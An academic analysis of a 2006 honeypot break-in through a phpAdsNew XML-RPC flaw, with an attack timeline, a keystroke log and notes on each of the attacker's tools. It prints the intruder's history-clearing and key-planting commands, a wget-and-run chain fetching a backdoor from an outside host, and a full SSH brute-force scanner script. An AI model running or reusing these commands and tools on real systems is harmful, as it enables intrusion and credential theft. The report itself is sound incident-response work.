

Analysis of RedHat 8.0 Honeypot Compromise

Jan Göbel

Laboratory for Dependable Distributed Systems, RWTH Aachen University

August 3, 2006

1 Red Hat Honeypot Compromise

On May 7th 2006 our Red Hat 8.0 based Honeypot was attacked and successfully compromised, by exploiting a vulnerability in an installed web application, named phpAdsNew. The vulnerability allows a remote attacker to execute arbitrary commands, with the privileges of the webserver on the victim host. This flaw is due to an unspecified error in the XML-RPC library for PHP. It was first discovered in July 2005 and affects all phpAdsNew versions up to 2.0.5.

1.1 Attack Summary

The hostname of the compromised Honeypot was “clooney” and it was running with the IP address 192.35.xxx.xxx at that time. The attacker used four different hosts to interact with our Honeypot. The first offending system had the IP address 72.29.xxx.xxx, which is located in Orlando Florida. The next computer that was used during the attack, with the IP address 83.104.xxx.xxx, is positioned in Great Britain and the last two machines, with the IP addresses 86.107.xxx.xxx and 81.181.xxx.xxx, are stationed in Bucharest Romania. None of the used operating systems could be determined. The nickname of the intruder seems to be “Methadon”, because a SSH key for this user was uploaded to our Honeypot during the attack. Additionally, several tools, that were used while the Honeypot was under the attackers control, for which “Methadon” claims to be the author, were found.

The attack started at about 15:06 p.m., when our Honeypot was scanned by the intruder for vulnerable PHP applications utilising a file called *xmlrpc.php*. The first remote command that was executed by the attacker was *uname -a*, a Linux command to display system specific information, such as the hostname and running operating system. During the attack several different tools were downloaded to the compromised host and the intruder managed to escalate the webserver privileges to root, i.e. he took complete control over the Honeypot. Among the downloaded tools were several SSH scanners, a scanner for vulnerable PHP applications, a simple backdoor script and a Rootkit with backdoor functionality. The Honeypot was misused to scan several other machines on the network for weak SSH passwords, as well as, vulnerable PHP applications, such as the one installed on the Honeypot itself. Furthermore, the attacker temporarily setup a PayPal phishing site.

Right after the Honeypot was identified as being vulnerable to the XML-RPC attack, the intruder downloaded and installed a simple Perl based backdoor script named *Data ChaOS Connect Back Backdoor*. This tool ran with the rights of the Apache webserver and was used to provide a simple method for interacting with the Honeypot. Thus, remote commands could be

executed on the victim host without the need to exploit the web application vulnerability each time. Finally, the intruder acquired root privileges, by executing a binary to exploit the kernel *ptrace* vulnerability. After the system was successfully conquered, a Rootkit named *SHv5* was installed, with a backdoor listening on port 1400. Additionally, several system binaries were replaced by trojaned ones, to cover the traces of the intrusion. The fact, that several tools that were downloaded by the attacker to the Honeypot were especially designed for Red Hat based operating systems, concludes that the assault was carefully planned.

As soon as the intruder started to successfully compromise other systems in the network, by utilising the same method our machine was conquered with, it was decided to take the Honeypot offline. Unfortunately, the Honeywall was not able to blight the outgoing attacks, because the exploits used the standard HTTP protocol to execute remote commands on the victim hosts, which by default is not considered as harmful and is necessary to allow an attacker to download his tools to the Honeypot. Therefore, we also informed the *Deutsche Forschungsnetz* (DFN) *Computer Emergency Response Team* (CERT) about the incident, who were already investigating a related case, which involved machines belonging to the same network range (whitehat.cc) as the ones that were attacked by our Honeypot.

Following is a detailed description of the actions taken by the attacker to compromise and misuse the Honeypot. Each event is marked with its initial timestamp, to form a complete timeline of the attack.

1.2 Attack Details

- May 7th 2006
- 15:06:47 p.m. : The host 72.29.xxx.xxx connected to the Honeypot for the first time, searching for vulnerable PHP applications by trying several different URLs to a file named *xmlrpc.php*.
- 15:08:12 p.m. : The Remote command *uname -a* was executed, which displayed the hostname, kernel version and operating system running on the Honeypot.
- 20:50:40 p.m. : The attacker downloaded the file *s.txt* from the URL *mafiaboy.ca* to the Honeypot by utilising the vulnerable PHP application. The file contained a Perl script called *Data ChaOs Connect Back Backdoor*, which opens a shell with the privileges of the webserver to the attacker. Thus, providing the intruder a more simple way to interact with the victim host, while trying to further escalate his privileges.
- 20:51:01 p.m. : With the help of the Perl backdoor, another file was downloaded named *root.tar.gz* from *roky00.evonet.ro*. This tar archive holds a large number of different exploits to gain root access for Red Hat based operating systems, as the one running on the Honeypot. Roughly 30 seconds later the machine was compromised by *Methadon* by exploiting the kernel *ptrace* vulnerability.
- 20:51:32 p.m. : Another file, named *shv5.tar.gz*, was downloaded to the successfully conquered system from *www.cleverworldnet.com*. This file contained the *SHv5* Rootkit, which installed several trojaned binaries to hide its presence and additionally opened a backdoor on port 1400.
- 20:52:32 p.m. : The host with the IP address 86.107.xxx.xxx connected to the freshly installed *SHv5* backdoor on port 1400 for the first time.
- 21:38:23 p.m. : The host with the IP address 81.181.xxx.xxx connected to the *SHv5* backdoor on port 1400 for the first time.

- 21:48:49 p.m. : The attacker downloaded his SSH key to the Honeypot from the URL <http://whitehat.cc/~meth/> and installed it in the proper location. Although the SHv5 backdoor was installed and hidden, many of the following connections to the Honeypot were made using the standard SSH daemon. Figure 1 shows the activity of the intruder on the Honeypot that happened, before and after the download of the SSH key.

21:09:52	hostname
21:09:01	/sbin[DEL] [DEL] [DEL] [DEL] [DEL] [DEL] /sbin/ifconfig grep inet
21:09:56	cd .ssh
21:09:58	mkdir .sh
21:09:01	rm -rf .sh
21:09:19	unset HISTFILE ; unset SAVEFILE ; unset HISTSAVE ; unset SAVEHIST ; unset *****
21:09:52	mkdir .ssh
21:09:53	cd .ssh
21:09:54	ls
21:09:49	wget whitehat.cc-[DEL] /~meth/autho[DEL] [DEL] [DEL] [DEL] [DEL] authorized_keys
21:09:51	cd ..
21:09:55	chmod +x .ssh
21:09:13	[U-ARROW] /[DEL] [DEL] [DEL] [DEL] [DEL] [DEL] [DEL] [DEL] chmod 750 .ssh;/chmod 750 .ssh/*
21:09:17	chmod 750 .ssh;/chmod 750 .ssh/*
21:09:41	unset HISTFILE ; unset SAVEFILE ; unset HISTSAVE ; unset SAVEHIST ; unset *****
21:09:44	ls -a
21:09:46	pico .bash_history
21:09:50	v[DEL] vi .bash_history
21:09:54	cd /var/www/
21:09:54	ls
21:09:57	e[DEL] \[DEL] cd ht
21:09:58	ls
21:09:05	echo cca[DEL] [DEL] [DEL] a>>a
21:09:06	ls
21:09:12	rm -rf a
21:09:18	echo "TE IUBESC OANA">>>love

Figure 1: *Sebek data (40 minutes behind actual time)*

- 21:49:26 p.m. : The attacker logged in from the host 81.181.xxx.xxx via SSH. During the next minutes, several changes to the webserver, the /cgi-bin/ folder and a file named pin.html were made by the intruder. Additionally, a folder named cgl-bin was created hosting the PayPal phishing site, the attacker tried to setup. Although the site was accessible from the web, it was removed for unknown reasons only a few minutes later.
- May 8th 2006
- 00:36:29 a.m. : Another file, named ioi was downloaded from the URL whitehat.cc to the Honeypot. This archive contains a large number of various SSH scanners, including “Methadons” personal brute force scanner:
 - ==- Gr33tz to MethadoN ;) ==- -.
- 00:37:47 a.m. : The attacker started several SSH brute force attacks against different hosts from the network ranges 192.35.0.* and 66.252.10.*.
- 13:32:41 p.m. : The host 81.181.xxx.xxx logged in and started downloading a file called udp.txt from the URL <http://www.whoopis.com/howtos/phpBB-viewtopic-hack/>. The file contains a Perl based UDP flooding program,

which was then used to flood the host 62.161.xxx.xxx, which belongs to a web hosting company.

- 23:16:53 p.m. : The host 81.181.xxx.xxx connected to the SHv5 backdoor on port 1400 of our Honeypot and downloaded the file `udp.pl` from the URL <http://packetstormsecurity.org/DoS/>. This is the same UDP flooder as described above.
- May 10th 2006
- 23:27:16 p.m. : The host 86.107.xxx.xxx connected to the SHv5 backdoor on port 1400 of our Honeypot and downloaded the file `alexu.jpg` from the URL <http://www.free-ftp.org/unnamed/>. The file contains another SSH brute force scanner, with a password list holding more than 12.000 entries.
- 23:30:35 p.m. : The intruder initiated another SSH brute force attack, with the freshly installed brute force sanner, on hosts with the IP addresses 24.3.* and 66.98.48.*.
- 23:37:19 p.m. : Another file named `cola.tar` was downloaded from the URL <http://whitehat.cc/~sorin/>. This file contained a vulnerability scanner for PHP applications, utilising a file named `xmlrpc.php`. This is probably the same scanner used to identify our Honeypot as being vulnerable.
- May 11th 2006
- 00:08:49 a.m. : The intruder scanned several hosts for vulnerable PHP applications and managed to exploit the `xmlrpc` vulnerability on a few of them. To take over the machines, the attacker remotely executed a concatenation of the following commands: `wget 208.25.xxx.xxx:443/bind.jpg, tar xzvf bind.jpg, chmod a+x` and `./httpd`. As a result, a backdoor is installed on the remote host, similar to the Perl script that was installed on our Honeypot in the first place. At 00:10:39 a.m., a total of six systems were compromised this way. (66.xxx.xxx.74, 66.xxx.xxx.121, 66.xxx.xxx.34, 66.xxx.xxx.160, 66.xxx.xxx.107 and 66.xxx.xxx.202)
- At this point it was decided to shutdown the Honeypot, to prevent any further damage to other systems vulnerable to the `xmlrpc.php` exploit.

1.3 Tools Involved

This section deals with the tools that were downloaded to our Honeypot. These tools were then used by the attacker to take over and misuse the machine to harm other system on the network. We were able to reconstruct all download locations from the logfiles of the Honeywall. Therefore, we could retrieve and analyse all tools on a second host, without the attacker taking any notice. As a result, examination of the utilities could take place, while the intruder was still active on the Honeypot.

- **shv5.tar.gz:**

The compressed file contains the SHv5 Rootkit, that enables the intruder to have persistent root level access to the compromised host. Upon installation, the Rootkit modifies a number of system commands, to hide its presence and cover the tracks of the attacker. For example, it replaces the original `netstat` command (`netstat` displays the active TCP

```

=====
MMMMM                                     MMMMMM
MMM   MMMMMMMMMM   MMMM   MMMM   MMM   [*] Presenting u shv5-rootkit !
MMM   MMMM   MMMM   MMMM   MMMM   MMM   [*] Designed for internal use !
MMM   MMMMMMMM   MMMMMMMMMMMMMM   MMM
MMM   MMMMMMMM   MMMMMMMMMMMMMM   MMM   [*] brought to you by: PinT[x]
MMM   MMMM   MMMM   MMMM   MMMM   MMM   [*] April 2003
MMM   MMMM   MMMM   MMMM   MMMM   MMM
MMM   MMMMMMMMMM   MMMM   MMMM   MMM   [*] *** VERY PRIVATE ***
MMM                                     MMM   [*] *** so dont distribute ***
MMMMM   -C- -R- -E- -W-   MMMMMM
=====

```

Figure 2: SHv5 startup screen

connections of a computer), so that the execution will not show the hidden SSH server, which is setup by the Rootkit.

The Rootkit is distributed in a package named `shv5.tar.gz` and contains the following files:

```

drwxr-xr-x  6  root  root  4,0K  21.  Mai  14:36  .
drwxr-xr-x  8  root  root  4,0K  11.  Mai  10:12  ..
-rw-r--r--  1  root  root  491K   1.  Mai  2003  bin.tgz
-rw-r--r--  1  root  root   442  18.  Apr  2003  conf.tgz
-rw-r--r--  1  root  root   29K  15.  Apr  2003  lib.tgz
-rw-r--r--  1  root  root   2,8K  23.  Apr  2003  README
-rwxr-xr-x  1  root  root   24K   2.  Mai  2004  setup
-rw-r--r--  1  root  root  121K  17.  Apr  2003  utils.tgz

```

The `setup` file is an executable shell script, used to install the SHv5 Rootkit on the victim host. Figure 2 shows the startup screen which is presented after the installation process is initiated. It takes two command line arguments: `./setup <sshd password> <sshd port>`. The attacker started the shell script with the password “timelimit” and the port “1400” on our Honeypot. When executed, the setup first verifies that the current user has root privileges and then uncompresses all archived files included in the distribution. In the next step, the syslog daemon is stopped and the script checks if any remote logging mechanisms are enabled, to prevent information leaking, that would alert the system administrator. Additionally, the setup process looks for certain administration tools, like Tripwire¹. Tripwire is a tool for detecting changes in a file system, by comparing it against a previously build database containing checksums of each file. In case a Tripwire database is found, it gets overwritten, with the log message stating that the database is corrupt due to a disc-geometry or bad disc-sector error. Thus, tricking the administrator into rebuilding the database using the trojaned binaries as a basis for the new checksums.

In the next step, the Rootkit installs a series of modified binaries, as well as, the hidden SSH server. The modification made to the binaries affects the output that is displayed to the user, so that the presence of the attacker is concealed. All MD5 checksums of replaced files are stored in a single file named `.shmd5` and encrypted into `/dev/srd0`. Future executions of the trojaned `md5sum` command will read this file to display the original MD5 hashes of all modified binaries. The following tools are trojaned after the successful installation of the SHv5 Rootkit: `ps`, `ifconfig`, `netstat`, `top`, `slocate`, `ls`, `find`, `dir`, `lsof`, `pstree` and `md5sum`, which are included in the `bin.tgz` file.

¹<http://www.tripwire.com/>

In addition to the trojaned binaries, two utilities are installed from the `utilz.tgz` file: `mIRKfORCE` and `SynScan`. The first tool simulates multiple hosts on the same subnet and is capable of flooding an IRC server. It can be used to take over IRC channels, as well as, to perform Distributed Denial of Service attacks (DDoS). The second tool is a fast portscanner, with the possibility to detect vulnerable services running on a scanned host, by parsing the banner output of services running on certain ports.

The file named `conf.tgz` contains a few configuration files for the different trojaned binaries. For example, the file `file.h` contains the list of files, to be hidden from directory listing.

Finally, the setup process scans the computer for other Rootkit installations, as well as vulnerable services running on the compromised host. If a vulnerable application is found, the user is notified and urged to patch it. In the case of our Red Hat Honeygot the vulnerable `wu-ftpd` FTP server v2.6.0 was detected, but no patch was applied by the attacker.

- **s.txt:**

This file contains a Perl script named `Data ChaOs Connect Back Backdoor`. When executed, an outgoing connection from the victim host is established to the given host and port. As a result, the attacker is able to circumvent firewalls that filter inbound network traffic only. The spawned shell has the same level of access as the user executing the script, in this case it was running with the privileges of the Apache webserver. Therefore, it serves as a simple method to remotely perform further actions on the victim host, until full control is obtained.

- **root.tar.gz:**

The compressed file contains a whole collection of local root exploits, especially designed to work on Red Hat based operating systems. The binary executed by the attacker on our Honeygot is called `hator` and exploits the kernel `ptrace` vulnerability. Among the other exploits contained in the distribution are, for example, a local `/sbin/lfenslave` buffer overrun exploit, an `efstool` local stack-based exploit and a `SHOUTcast` v1.8.9 remote exploit. Altogether, we found about 62 different exploits, for all kinds of applications, some even had the source code included.

- **udp.txt and udp.pl:**

Both scripts contain the same simple UDP flooder written in Perl. It was released by “Odix” in February 2001 and is freely available at the URL

<http://packetstormsecurity.org>. The script takes three parameters, the IP address of the victim host to be flooded, the port all UDP packets will be send to and a time value, which defines the duration of the attack. If the latter two arguments are left blank, the script chooses a random destination port and runs continuously.

- **ioi:**

The archived file contains the attackers personal utilities collection, as we determined from the header of the SSH scanner script, shown in figure 3. The distribution also includes five files named 0 to 5, which contain the different username and password combinations that are used, when performing a SSH brute force attack. Altogether, the files contain around 15.000 login credentials. Furthermore, the compressed file contains a few standard Linux tools, which might not be available on a more secured compromised host. For example, the file editor `pico` and the utility for file retrieval via HTTP `wget`. Additionally, a binary named `vanish` is included, which is capable of removing traces from various system log files, like `/var/log/messages` and the list of last logged in users.

```

#!/bin/bash
if [ $# != 1 ]; then
    echo " usage: $0 <b class>"
    exit;
fi

rm -f uniq.txt
clear

echo -e "\033[1;36m***** Methadon's Private Scanner *****"
echo -e "#---- Original by #eNable Team ----#"
echo -e "\033[1;37m#---- Do NOT FUCK with me Boy ----#\033[1;31m"
./pscan2 $1 22

sleep 10
cat $1.pscan.22 |sort |uniq > mfu.txt
oopsnr2=`grep -c . mfu.txt`
echo -e "\033[1;36m#---- BRUTEFORCE STARTED ----#\033[0m"
echo -e "\033[1;36m#---- USERS NO. 1 ----#\033[0m"
cp 0 pass_file
./ssh-scan 150
rm -rf pass_file
cp 1 pass_file
echo -e "\033[1;36m#---- USERS NO. 2 ----#\033[0m"
./ssh-scan 150
rm -rf pass_file
cp 2 pass_file
echo -e "\033[1;36m#---- USERS NO. 3 ----#\033[0m"
./ssh-scan 150
rm -rf pass_file
cp 3 pass_file
echo -e "\033[1;36m#---- USERS NO. 4 ----#\033[0m"
./ssh-scan 150
rm -rf pass_file
cp 4 pass_file
echo -e "\033[1;36m#---- USERS NO. 5 ----#\033[0m"
./ssh-scan 150
rm -rf pass_file
cp 5 pass_file
echo -e "\033[1;36m#---- USERS NO. 6 ----#\033[0m"
rm -rf *.pscan.22 mfu.txt pass_file
echo -e "\033[1;36m#---- Try Again MethadonE ;- ) ----#\033[0m"
echo -e " "

```

Figure 3: SSH scanner startup script by Methadon

- **alexu.jpg:**

The compressed file contains another SSH brute force scanner called *pscan*, together with a number of startup shell scripts. Additionally, a file named *pass.txt* is included, with over 12.000 username and password combinations to be used with the scanner. Another file named *vuln.txt* contains the results of a SSH scan, i.e. a list of IP addresses and hostnames with the associated working login credentials.

- **cola.tar:**

The compressed file contains a scanner for PHP applications which are vulnerable to the same XMLRPC vulnerability that was exploited to conquer our Honeypot. Among several files, with lists of many different IP addresses that have already been scanned, the distribution contains a file named *vuln.txt* with about 2.000 hosts, each with a URL associated to it, pointing to files named *xmlrpc.php* or *adxmlrpc.php*. Furthermore, another file named *xmlrpc.log*, which contains the scanner output for systems being vulnerable to the XMLRPC vulnerability, existed.

When executed, the script gets a class B network as a parameter and starts scanning for hosts with a webserver running on the standard port 80. Each found webserver is then queried for files named *xmlrpc.php* or *adxmlrpc.php*. If such a file is found on a

server, the IP and URL is stored to a file named `vuln.txt`. Finally, the scanner tries to exploit the XMLRPC vulnerability on every host, that was gathered in the previous step, with the payload `uname -a`. The results of the final step are stored in the file named `xmlrpc.log`. Notice, that the same command was also the first one to be executed on our Honeypot and it took almost six hours for further actions to happen. This leads to the conclusion, that our Honeypot was detected as vulnerable by the same tool.

- **bind.jpg:**

This is the file that was downloaded to the hosts that were attacked and successfully exploited from our Honeypot. The compressed file contains a backdoor, several local root exploits and a small mail script. The name of the installed backdoor is `bindtty`, which spawns a shell on a predefined port. Its binary is camouflaged as `httpd`, thus it will look like a running Apache webserver process. Among the local root exploits are the `ptrace` exploit, a `linuxconf` buffer overflow and a `suidperl` exploit. The mail script captures the `/etc/passwd` and `/etc/shadow` files, which contain the encrypted passwords of all system users and mails them to a Romanian webmail account.

1.4 Attack Evaluation

The attacker utilised an automated scanner (*cola.tar*) to find hosts running PHP applications that are vulnerable to the XMLRPC exploit, such as the `phpAdsNew` application which was installed on our Honeypot. According to the attack pattern and the analysis of the scanner, we can conclude that this utility was also used to detect our Honeypot, which as a result was successfully compromised by exploiting the kernel `ptrace` vulnerability.

The behaviour of the intruder can be classified as little careful and little experienced. The tools that were downloaded to the Honeypot did all work well, which implies that they were carefully selected prior to the attack. Almost all traces of the attacker on the system were properly covered, due to the trojaned binaries of the SHv5 Rootkit. Although the Rootkit checked the victim host for some security tools, like Tripwire, there was no attempt made to check for any Honeypot specific traits.

The motive of the attacker is not quite sure. The first intent to setup a phishing site was skipped for unknown reasons. The Honeypot was then misused as a stepping stone to attack other systems within the network. For example, several hosts were scanned for weak SSH passwords, utilising one of the installed SSH brute force scanners. Furthermore, the intruder scanned for systems with vulnerable PHP applications installed. Finally, the attacker changed the password of the root user, which does not fit the careful behaviour, either, as this is the first to be noticed by a system administrator.